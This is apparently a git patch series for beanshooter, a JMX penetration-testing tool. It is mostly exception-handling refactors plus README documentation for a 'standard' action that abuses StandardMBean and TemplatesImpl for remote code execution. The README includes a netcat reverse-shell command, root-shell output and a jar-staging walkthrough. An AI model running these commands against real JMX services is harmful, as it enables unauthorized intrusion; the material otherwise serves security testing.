b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java index f719b8d..8d10bb3 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java @@ -459,17 +459,16 @@ public static String[] getArgumentTypes(String signature) * string array of parameter types. * * @param signature user supplied method signature - * @param includeReturn whether to include the methods retrun value as a type * @param includeNanme whether to include the methods name as a string * @return String array containing the parsed parameter type names */ - public static String[] getArgumentTypes(String signature, boolean includeReturn, boolean includeName) + public static String[] getArgumentTypes(String signature, boolean includeName) { String[] types = null; try { - types = argumentProvider.getArgumentTypes(signature, includeReturn, includeName); + types = argumentProvider.getArgumentTypes(signature, includeName); } catch (PluginException e) diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java index 5076e01..aab466f 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java @@ -113,7 +113,7 @@ public Object strToObj(String str) */ public String[] getArgumentTypes(String signature) { - return getArgumentTypes(signature, false, false); + return getArgumentTypes(signature, false); } /** @@ -134,7 +134,7 @@ public String[] getArgumentTypes(String signature) * create a dummy method from the user specified method signature and when obtain the correct * type names via reflection and getParameterTypes() on the associated method object. */ - public String[] getArgumentTypes(String signature, boolean includeReturn, boolean includeName) + public String[] getArgumentTypes(String signature, boolean includeName) { ClassPool pool = ClassPool.getDefault(); List result = new ArrayList(); @@ -150,9 +150,6 @@ public String[] getArgumentTypes(String signature, boolean includeReturn, boolea Class evalClass = evaluator.toClass(); targetMethod = evalClass.getDeclaredMethods()[0]; - if (includeReturn) - result.add(targetMethod.getReturnType().getName()); - if (includeName) result.add(targetMethod.getName()); diff --git a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java index 0248814..376028b 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java @@ -796,7 +796,8 @@ else if (BeanshooterOption.MODEL_SIGNATURE_FILE.notNull()) */ public static ModelMBeanOperationInfo crateModelMBeanInfoFromString(String className, String method) { - String[] methodDesc = PluginSystem.getArgumentTypes(method, false, true); + String[] methodDesc = PluginSystem.getArgumentTypes(method, true); + String returnValue = method.split(" ", 2)[0]; Map descriptorFields = new HashMap(); descriptorFields.put("name", methodDesc[0]); @@ -813,6 +814,6 @@ public static ModelMBeanOperationInfo crateModelMBeanInfoFromString(String class paramInfos[ctr - 1] = new MBeanParameterInfo(null, methodDesc[ctr], null); } - return new ModelMBeanOperationInfo(methodDesc[0], null, paramInfos, className, MBeanOperationInfo.UNKNOWN, methodDescriptor); + return new ModelMBeanOperationInfo(methodDesc[0], null, paramInfos, returnValue, MBeanOperationInfo.UNKNOWN, methodDescriptor); } } From 4d2c7ab85279f2335ae63ffe80509e7f2ca8021e Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 Mar 2023 08:52:46 +0100 Subject: [PATCH 09/25] Add documentation for the standard action --- README.md | 107 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 107 insertions(+) diff --git a/README.md b/README.md index 3c87dbb..3e185de 100644 --- a/README.md +++ b/README.md @@ -64,6 +64,7 @@ autocompletion. - [model](#model) - [serial](#serial) - [stager](#stager) + - [standard](#standard) - [undeploy](#undeploy) + [MBean Operations](#mbean-operations) - [generic](#generic-mbean-operations) @@ -667,6 +668,112 @@ the `--class-name`, `--object-name` and `--jar-file` options are required. [+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a ``` +#### Standard + +The `standard` action deploys a *StandardMBean* that implements the `TemplateImpl` class to achieve +different targets. This technique was identified by [Markus Wulftange](https://twitter.com/mwulftange) +and *beanshooter* implements it to allow command execution, file upload and *TonkaBean* deployment. + +```console +[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash' +[+] Creating a TemplateImpl payload object to abuse StandardMBean +[+] +[+] Deplyoing MBean: StandardMBean +[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed. +[+] +[+] Caught NullPointerException while invoking the newTransformer action. +[+] This is expected bahavior and the attack most likely worked :) +[+] +[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer. +[+] MBean was successfully removed. +... +[qtc@devbox ~]$ nc -vlp 4444 +Ncat: Version 7.93 ( https://nmap.org/ncat ) +Ncat: Listening on :::4444 +Ncat: Listening on 0.0.0.0:4444 +Ncat: Connection from 172.17.0.2. +Ncat: Connection from 172.17.0.2:40033. +id +uid=0(root) gid=0(root) groups=0(root) +``` + +Command execution via the `standard` action is blind and you do not receive the output of your command. +Moreover, by default you command is passed to `Runtime.exec(String str)`, which does not support special +shell characters. If you want to use shell features, use the `--exec-array` option and specify your command +like this: `'sh -c echo "my cool command" > /tmp/test.txt'`. However, it is generally more recommended to +use the *TonkaBean* deployment for execution commands: + +```console +[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka +[+] Creating a TemplateImpl payload object to abuse StandardMBean +[+] +[+] Deplyoing MBean: StandardMBean +[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed. +[+] +[+] Caught NullPointerException while invoking the newTransformer action. +[+] This is expected bahavior and the attack most likely worked :) +[+] +[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer. +[+] MBean was successfully removed. +[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010 +[root@172.17.0.2 /]$ id +uid=0(root) gid=0(root) groups=0(root) +``` + +The huge advantage compared to the regular `tonka deploy` action is that deployment via the *StandardMBean* +does not require an outbound network connection. If a direct deployment via *StandardMBean* does not work, +you may be able to upload the *TonkaBean* Jar file and load it via *MLet* and the `file://` protocol: + +```console +[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/ +[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar +[+] Exporting MLet HTML file to: ./index.html +[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean +[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar +[+] Object: MLetTonkaBean:name=TonkaBean,id=1 +[+] Codebase: file:/tmp/ +[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar:/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar +[+] Creating a TemplateImpl payload object to abuse StandardMBean +[+] +[+] Deplyoing MBean: StandardMBean +[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed. +[+] +[+] Caught NullPointerException while invoking the newTransformer action. +[+] This is expected bahavior and the attack most likely worked :) +[+] +[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer. +[+] MBean was successfully removed. +[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html:/tmp/index.html +[+] Creating a TemplateImpl payload object to abuse StandardMBean +[+] +[+] Deplyoing MBean: StandardMBean +[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed. +[+] +[+] Caught NullPointerException while invoking the newTransformer action. +[+] This is expected bahavior and the attack most likely worked :) +[+] +[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer. +[+] MBean was successfully removed. +[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html +[+] Starting MBean deployment. +[+] +[+] Deplyoing MBean: TonkaBean +[+] +[+] MBean class is not known by the server. +[+] Starting MBean deployment. +[+] +[+] Deplyoing MBean: MLet +[+] MBean with object name DefaultDomain:type=MLet was successfully deployed. +[+] +[+] Loading MBean from file:///tmp/index.html +[+] +[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed. +``` + +If you want to know more about the technique that is implemented by the `standard` action, I highly +recommend [this blog post](TODO) by [CODE WHITE](https://www.code-white.com/en/) which explains it +in great detail. + #### Undeploy The `undeploy` action removes the *MBean* with the specified `ObjectName` from the *JMX* service: From 7070760758c4e004af8083f85ba8888d810a650e Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 Mar 2023 09:29:50 +0100 Subject: [PATCH 10/25] Change path separator for upload action --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 3e185de..3864cd1 100644 --- a/README.md +++ b/README.md @@ -732,7 +732,7 @@ you may be able to upload the *TonkaBean* Jar file and load it via *MLet* and th [+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar [+] Object: MLetTonkaBean:name=TonkaBean,id=1 [+] Codebase: file:/tmp/ -[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar:/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar +[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean @@ -743,7 +743,7 @@ you may be able to upload the *TonkaBean* Jar file and load it via *MLet* and th [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer. [+] MBean was successfully removed. -[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html:/tmp/index.html +[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean From 61bdb3fbb9f30b3c76d4e0604a7290835c79ddde Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 Mar 2023 09:45:12 +0100 Subject: [PATCH 11/25] Improve exception handling Improved the exception handling and refactored some of the classes. --- .../qtc/beanshooter/cli/ArgumentHandler.java | 8 +-- .../de/qtc/beanshooter/cli/OptionHandler.java | 24 ++++--- .../qtc/beanshooter/io/WordlistHandler.java | 14 ++-- .../mbean/MBeanInvocationHandler.java | 7 +- .../beanshooter/mbean/mlet/Dispatcher.java | 6 +- .../networking/RMIRegistryEndpoint.java | 37 ++++++---- .../beanshooter/networking/StagerServer.java | 7 +- .../networking/TrustAllSocketFactory.java | 11 +-- .../operation/BeanshooterOperation.java | 1 + .../operation/BeanshooterOption.java | 7 ++ .../qtc/beanshooter/operation/Dispatcher.java | 71 +++++++++++++++---- .../qtc/beanshooter/operation/EnumHelper.java | 9 +-- .../operation/MBeanServerClient.java | 28 ++++++-- .../qtc/beanshooter/plugin/PluginSystem.java | 49 +++++++++---- .../plugin/providers/JMXMPProvider.java | 7 +- .../plugin/providers/JNDIProvider.java | 25 ++++--- .../plugin/providers/JolokiaProvider.java | 5 +- .../plugin/providers/RMIProvider.java | 22 +++--- .../utils/ExtendedJolokiaJmxConnector.java | 4 +- .../src/de/qtc/beanshooter/utils/Utils.java | 14 +++- .../qtc/beanshooter/utils/YsoIntegration.java | 30 ++++---- 21 files changed, 250 insertions(+), 136 deletions(-) diff --git a/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java b/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java index 22d7457..092ff5f 100644 --- a/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java @@ -234,8 +234,8 @@ public static Object requireOneOf(Option... options) { StringBuilder helpString = new StringBuilder(); - for( Option option : options ) { - + for (Option option : options) + { if( option.notNull() ) return option.getValue(); @@ -243,9 +243,9 @@ public static Object requireOneOf(Option... options) helpString.append(", "); } - helpString.setLength(helpString.length() - 2); + helpString.setLength(helpString.length() - 2); - Logger.resetIndent(); + Logger.resetIndent(); Logger.eprintlnMixedYellow("Error: The specified aciton requires one of the", helpString.toString(), "options."); Utils.exit(); diff --git a/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java b/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java index d47bf57..1cf07d5 100644 --- a/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java @@ -5,7 +5,6 @@ import java.util.List; import java.util.Properties; -import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; import de.qtc.beanshooter.mbean.MBean; import de.qtc.beanshooter.mbean.mlet.MLetOption; @@ -54,24 +53,27 @@ public static void prepareOptions(Namespace args, Properties config) Object defaultValue = config.getProperty(option.name().toLowerCase()); - try { - - if( defaultValue != null && !((String) defaultValue).isEmpty() ) { - - if( option.getArgType() == ArgType.INT ) + try + { + if (defaultValue != null && !((String) defaultValue).isEmpty()) + { + if (option.getArgType() == ArgType.INT) defaultValue = Integer.valueOf((String) defaultValue); - else if( option.getArgType() == ArgType.BOOL ) + else if(option.getArgType() == ArgType.BOOL) defaultValue = Boolean.valueOf((String) defaultValue); + } - } else if( defaultValue != null && ((String) defaultValue).isEmpty() ) { + else if(defaultValue != null && ((String) defaultValue).isEmpty()) + { defaultValue = null; } + } - } catch( Exception e ) { + catch (Exception e) + { Logger.eprintlnMixedYellow("RMGOption", option.getName(), "obtained an invalid argument."); - ExceptionHandler.stackTrace(e); - Utils.exit(); + Utils.exit(e); } option.setValue(args, defaultValue); diff --git a/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java b/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java index af76876..ac54926 100644 --- a/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java @@ -35,31 +35,31 @@ public static Map> getCredentialMap() String[] usernames = null; String[] passwords = null; - if(BeanshooterOption.BRUTE_USER.notNull()) + if (BeanshooterOption.BRUTE_USER.notNull()) usernames = new String[] { BeanshooterOption.BRUTE_USER.getValue() }; - else if(BeanshooterOption.BRUTE_USER_FILE.notNull()) + else if (BeanshooterOption.BRUTE_USER_FILE.notNull()) usernames = readWordlist(BeanshooterOption.BRUTE_USER_FILE.getValue(), "user"); - if(BeanshooterOption.BRUTE_PASSWORD.notNull()) + if (BeanshooterOption.BRUTE_PASSWORD.notNull()) passwords = new String[] { BeanshooterOption.BRUTE_PASSWORD.getValue() }; - else if(BeanshooterOption.BRUTE_PW_FILE.notNull()) + else if (BeanshooterOption.BRUTE_PW_FILE.notNull()) passwords = readWordlist(BeanshooterOption.BRUTE_PW_FILE.getValue(), "password"); - if(usernames == null && passwords != null) + if (usernames == null && passwords != null) { Logger.eprintlnMixedYellowFirst("No username(s)", "specified for the brute action."); Utils.exit(); } - else if(usernames != null && passwords == null) + else if (usernames != null && passwords == null) { Logger.eprintlnMixedYellowFirst("No password(s)", "specified for the brute action."); Utils.exit(); } - else if( usernames != null && passwords != null) + else if (usernames != null && passwords != null) return makeMap(usernames, passwords); return readCredpairList(); diff --git a/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java b/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java index 3653c47..79784aa 100644 --- a/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java @@ -131,12 +131,15 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl } } - catch (ClassNotFoundException | ClassCastException | NoSuchMethodException | SecurityException e2){} + catch (ClassNotFoundException | ClassCastException | NoSuchMethodException | SecurityException e2) + { + // If we cannot create a forwarding exception, we fall through to the generic exception message + } Logger.eprintlnMixedYellow("Caught", "J4pRemoteException", "during MBean method invocation."); Logger.eprintlnMixedBlue("Jolokia reported:", message); - Utils.exit(); + Utils.exit(e); } else diff --git a/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java index ec2e7ab..e77e7e0 100644 --- a/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java +++ b/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java @@ -221,8 +221,7 @@ else if (t instanceof IOException) ExceptionHandler.unknownReason(e); } - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } catch (ReflectionException | NotCompliantMBeanException e) @@ -232,8 +231,7 @@ else if (t instanceof IOException) Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), "while loading MBean."); Logger.eprintlnMixedBlue("This usually means that the supplied MBean class", "was not", "valid."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } catch (Exception e) diff --git a/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java b/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java index a67f62b..262e747 100644 --- a/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java +++ b/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java @@ -51,13 +51,15 @@ public RMIRegistryEndpoint(String host, int port) this.remoteObjectCache = new HashMap(); SocketFactorySetup(host, port); - try { + try + { this.rmiRegistry = LocateRegistry.getRegistry(host, port, csf); + } - } catch( RemoteException e ) { + catch (RemoteException e) + { ExceptionHandler.internalError("RMIRegistryEndpoint.locateRegistry", "Caught unexpected RemoteException."); - ExceptionHandler.stackTrace(e); - Utils.exit(); + Utils.exit(e); } } @@ -98,29 +100,40 @@ private synchronized static void SocketFactorySetup(String host, int port) */ public String[] getBoundNames() { - if( BeanshooterOption.TARGET_BOUND_NAME.notNull() ) + if (BeanshooterOption.TARGET_BOUND_NAME.notNull()) return new String[] { BeanshooterOption.TARGET_BOUND_NAME.getValue() }; String[] boundNames = null; - try { + try + { boundNames = rmiRegistry.list(); + } - } catch( java.rmi.ConnectIOException e ) { + catch (java.rmi.ConnectIOException e) + { ExceptionHandler.connectIOException(e, "list"); + } - } catch( java.rmi.ConnectException e ) { + catch (java.rmi.ConnectException e ) + { ExceptionHandler.connectException(e, "list"); + } - } catch( java.rmi.UnknownHostException e ) { + catch (java.rmi.UnknownHostException e) + { ExceptionHandler.unknownHost(e, host, true); + } - } catch( java.rmi.NoSuchObjectException e ) { + catch (java.rmi.NoSuchObjectException e) + { Logger.printlnMixedYellow("Caught", "NoSuchObjectException", "during list operation."); Logger.printlnMixedBlue("The specified endpoint", "is not", "an RMI registry."); - Utils.exit(); + Utils.exit(e); + } - } catch( Exception e ) { + catch (Exception e) + { ExceptionHandler.unexpectedException(e, "list", "call", true); } diff --git a/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java b/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java index 3f5dbfa..b5c1092 100644 --- a/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java +++ b/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java @@ -110,9 +110,7 @@ else if (t instanceof java.net.SocketException && t.getMessage().contains("Permi ExceptionHandler.unknownReason(e); } - ExceptionHandler.showStackTrace(e); - Utils.exit(); - + Utils.exit(e); } catch( java.lang.IllegalArgumentException e ) @@ -124,8 +122,7 @@ else if (t instanceof java.net.SocketException && t.getMessage().contains("Permi Logger.eprintlnMixedYellow("Caught", "IllegalArgumentException", "while creating the stager server."); Logger.eprintlnMixedBlue("The specified port", String.valueOf(port), "is out of range."); Logger.eprintlnMixedYellow("Specify a port within the range", String.format("0-%s", Short.MAX_VALUE * 2 + 1)); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } else diff --git a/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java b/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java index 2e2d504..3036725 100644 --- a/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java +++ b/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java @@ -12,7 +12,6 @@ import javax.net.ssl.SSLSocketFactory; import javax.net.ssl.TrustManager; -import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; import de.qtc.beanshooter.utils.Utils; @@ -53,16 +52,18 @@ public TrustAllSocketFactory(int readTimeout, int connectTimeout) this.readTimeout = readTimeout; this.connectTimeout = connectTimeout; - try { + try + { SSLContext ctx = SSLContext.getInstance("TLS"); ctx.init(null, new TrustManager[] { new DummyTrustManager() }, null); fax = ctx.getSocketFactory(); + } - } catch (NoSuchAlgorithmException | KeyManagementException e) { + catch (NoSuchAlgorithmException | KeyManagementException e) + { Logger.eprintlnMixedBlue("Unable to create", "TrustAllSocketFactory", "for SSL connections."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } } diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java index 99791de..17c528d 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java @@ -288,6 +288,7 @@ public enum BeanshooterOperation implements Operation { BeanshooterOption.CONN_SASL, BeanshooterOption.STANDARD_OPERATION, BeanshooterOption.STANDARD_OPERATION_ARGS, + BeanshooterOption.STANDARD_EXEC_ARRAY, }), SERIAL("serial", "perform a deserialization attack", new Option[] { diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java index 93bd83e..5401b70 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java @@ -488,6 +488,13 @@ public enum BeanshooterOption implements Option { ArgType.STRING ), + STANDARD_EXEC_ARRAY("--exec-array", + "space-split the command in three parts and pass it as array to Runtime.exec", + Arguments.storeTrue(), + OptionGroup.ACTION, + ArgType.BOOL + ), + MODEL_SIGNATURE_FILE("--signature-file", "create a RequiredModelMBean with method signatures from a file", Arguments.store(), diff --git a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java index a36de2c..6cd691b 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java @@ -14,6 +14,7 @@ import javax.management.ObjectInstance; import javax.management.ObjectName; import javax.management.ReflectionException; +import javax.management.RuntimeErrorException; import javax.management.RuntimeMBeanException; import javax.management.StandardMBean; import javax.management.modelmbean.ModelMBeanAttributeInfo; @@ -138,7 +139,7 @@ public void model() Logger.eprintlnMixedYellow("The specified class", className, "cannot be found locally."); Logger.eprintMixedBlue("You can still use it by providing method signatures via", "--signature", "or "); Logger.eprintlnPlainBlue("--signature-file"); - Utils.exit(); + Utils.exit(e); } ops = Utils.createModelMBeanInfosFromArg(className); @@ -384,7 +385,7 @@ else if (BeanshooterOption.SERIAL_PREAUTH.getBool()) }; /** - * Deploy a StandardMBean that implements TemplatesImpl. + * Attempt to bruteforce valid credentials on the targeted JMX endpoint. */ public void standard() { @@ -417,22 +418,64 @@ public void standard() { mBeanServerClient.invoke(mBeanObjectName, "newTransformer", new String[0]); } - catch (RuntimeMBeanException | MBeanException | ReflectionException | IOException e) + + catch (RuntimeMBeanException e) { Throwable t = ExceptionHandler.getCause(e); - if (e instanceof RuntimeMBeanException) + if (t instanceof NullPointerException) + { + Logger.printlnMixedBlue("Caught", "NullPointerException", "while invoking the newTransformer action."); + Logger.printlnMixedBlue("This is expected bahavior and the attack most likely", "worked", ":)"); + } + + else { - if (t instanceof NullPointerException) - { - Logger.printlnMixedBlue("Caught", "NullPointerException", "while invoking the newTransformer action."); - Logger.printlnMixedBlue("This is expected bahavior and the attack most likely", "worked", ":)"); - } + ExceptionHandler.unexpectedException(e, "standard", "action", true); } } - Logger.lineBreak(); - mBeanServerClient.unregisterMBean(mBeanObjectName); + catch (RuntimeErrorException e) + { + if (operation.equals("template-upload")) + { + String[] split = arguments.split("::"); + + if (split.length < 2) + ExceptionHandler.handleFileWrite(e, arguments, false); + + else + ExceptionHandler.handleFileWrite(e, split[1], false); + } + + else + { + ExceptionHandler.unexpectedException(e, "standard", "action", false); + } + } + + catch (MBeanException | ReflectionException | IOException e) + { + Throwable t = ExceptionHandler.getCause(e); + + if (t instanceof IllegalAccessError && t.getMessage().contains("module java.xml does not export")) + { + Logger.eprintlnMixedYellow("Caught", "IllegalAccessError", "during template transformation."); + Logger.eprintlnMixedBlue("The server does not export", "AbstractTranslet", "which prevents the standard action from working."); + ExceptionHandler.showStackTrace(e); + } + + else + { + ExceptionHandler.unexpectedException(e, "standard", "action", false); + } + } + + finally + { + Logger.lineBreak(); + mBeanServerClient.unregisterMBean(mBeanObjectName); + } }; /** @@ -612,14 +655,12 @@ public void attr() { Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), String.format("while setting attribute %s from %s", attrName, objectName)); Logger.eprintlnMixedBlue("There seems to be", "no setter available", "for the requested attribute."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), String.format("while accessing attribute %s from %s", attrName, objectName)); Logger.eprintln("beanshooter does not handle exceptions for custom attribute access."); - ExceptionHandler.stackTrace(e); - Utils.exit(); + Utils.exit(e); } } diff --git a/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java b/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java index e09c178..4f0be8b 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java @@ -622,8 +622,7 @@ public boolean requiresLogin() { Logger.printlnMixedBlue("Caught", "SaslProfileException", "during login attempt."); Logger.printlnMixedYellow("Use the", "--sasl", "option to specify a matching SASL profile."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } Logger.printlnMixedYellow("Caught unknown", e.getOriginalException().getClass().getName(), "during connection attempt."); @@ -668,16 +667,14 @@ public void checkLoginFormat() Logger.printlnMixedYellow("Caught", "MismatchedURIException", "during login attempt."); Logger.printlnMixedBlueFirst("Digest authentication", "requires the correct hostname to be used."); Logger.printlnMixedBlue("The following hostname is expected by the server:", ((MismatchedURIException)e).getUri()); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } if(e instanceof SaslProfileException) { Logger.printlnMixedBlue("Caught", "SaslProfileException", "during login attempt."); Logger.printlnMixedYellow("Use the", "--sasl", "option to specify a matching SASL profile."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } Logger.printlnMixedYellow("Caught unknown", e.getOriginalException().getClass().getName(), "during login attempt."); diff --git a/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java b/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java index 0cebdb2..5ea2e38 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java @@ -2,6 +2,7 @@ import java.io.IOException; import java.lang.reflect.UndeclaredThrowableException; +import java.rmi.UnmarshalException; import java.util.Set; import javax.management.Attribute; @@ -143,7 +144,7 @@ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, Strin if (BeanshooterOption.DEPLOY_STAGER_URL.isNull()) { Logger.eprintlnMixedYellow("Use the", BeanshooterOption.DEPLOY_STAGER_URL.getName(), "option to load the MBean from remote."); - Utils.exit(); + Utils.exit(e); } DynamicMBean mbean = new DynamicMBean(mBeanObjectName, mBeanClassName, jarFile); @@ -160,7 +161,7 @@ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, Strin Logger.eprintlnMixedBlue("The specified class", className, "is not known by the server."); Logger.eprintMixedYellow("Use the", "--jar-file"); Logger.eprintlnPlainMixedYellow(" and", "--stager-url", "options to provide an implementation."); - Utils.exit(); + Utils.exit(e); } } @@ -184,6 +185,21 @@ else if( e.getMessage().contains("Creating an MBean that is a ClassLoader is for ExceptionHandler.unexpectedException(e, "registering", "MBean", true); } + catch (UnmarshalException e) + { + Throwable t = ExceptionHandler.getCause(e); + + if (t instanceof ClassNotFoundException) + { + String missingClass = t.getMessage().split(" ")[0]; + Logger.eprintlnMixedYellow("Caught", "ClassNotFoundException", "during MBean deployment."); + Logger.eprintlnMixedBlue("The class", missingClass, "is not known by the server."); + Utils.exit(e); + } + + ExceptionHandler.unexpectedException(e, "registering", "MBean", true); + } + catch (Exception e) { ExceptionHandler.unexpectedException(e, "registering", "MBean", true); @@ -345,9 +361,7 @@ public Object invoke(ObjectName name, String methodName, String[] argTypes, Obje Logger.eprintlnMixedYellow("Caught unexpected", "IllegalArgumentException", "while invoking the method."); Logger.eprintlnMixedBlue("The specified argument types:", String.join(", ", actualArgumentTypes)); Logger.eprintlnMixedBlue("Do not match the expected argument types:", String.join(" ,", argTypes)); - - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } throw e; @@ -440,7 +454,7 @@ else if (message.contains("InvalidAttributeValueException")) Logger.eprintlnMixedYellow("Caught", "InvalidAttributeValueException", "while setting the attribute."); Logger.eprintlnMixedBlue("The specified attribute value of class", attr.getValue().getClass().getName(), "is probably not compatible."); Logger.eprintlnMixedYellow("You can use the", "--type", "option to specify a different type manually."); - Utils.exit(); + 